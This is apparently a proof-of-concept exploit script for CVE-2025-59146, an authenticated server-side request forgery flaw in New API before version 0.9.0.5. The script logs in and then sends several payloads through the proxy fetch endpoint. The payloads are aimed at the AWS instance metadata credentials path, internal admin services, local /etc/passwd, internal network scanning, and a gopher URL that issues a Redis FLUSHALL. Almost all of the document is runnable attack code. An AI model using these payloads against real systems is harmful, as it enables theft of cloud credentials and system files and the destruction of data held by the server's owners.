CVE-2025-59146：New API认证型SSRF漏洞

# CVE-2025-59146 PoC - New API SSRF Vulnerability # Affected versions: New API < 0.9.0.5 # The vulnerability allows authenticated users to perform SSRF # by submitting malicious URLs to a server-side processing endpoint. import requests # Target configuration TARGET_URL = "https://target-new-api.example.com" USERNAME = "[email protected]" PASSWORD = "password123" # Step 1: Authenticate and obtain session/token session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } login_resp = session.post(f"{TARGET_URL}/api/user/login", json=login_payload) token = login_resp.json().get("data", {}).get("token") session.headers.update({"Authorization": f"Bearer {token}"}) # Step 2: Exploit SSRF via the URL submission endpoint # Various SSRF payloads to demonstrate the vulnerability: # Payload 1: Access AWS metadata service to steal cloud credentials ssrf_payload_aws = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Payload 2: Access internal services (e.g., internal admin panel) ssrf_payload_internal = "http://127.0.0.1:8080/admin/internal-api" # Payload 3: Read local files via file:// protocol ssrf_payload_file = "file:///etc/passwd" # Payload 4: Scan internal network ssrf_payload_scan = "http://192.168.1.1:8080/" # Payload 5: Use gopher protocol for advanced exploitation ssrf_payload_gopher = "gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a" # Submit the malicious URL to the vulnerable endpoint def exploit_ssrf(url): payload = { "url": url } resp = session.post(f"{TARGET_URL}/api/proxy/fetch", json=payload) print(f"[*] Target: {url}") print(f"[*] Response: {resp.text}") return resp # Execute the SSRF attack exploit_ssrf(ssrf_payload_aws) exploit_ssrf(ssrf_payload_internal) exploit_ssrf(ssrf_payload_file)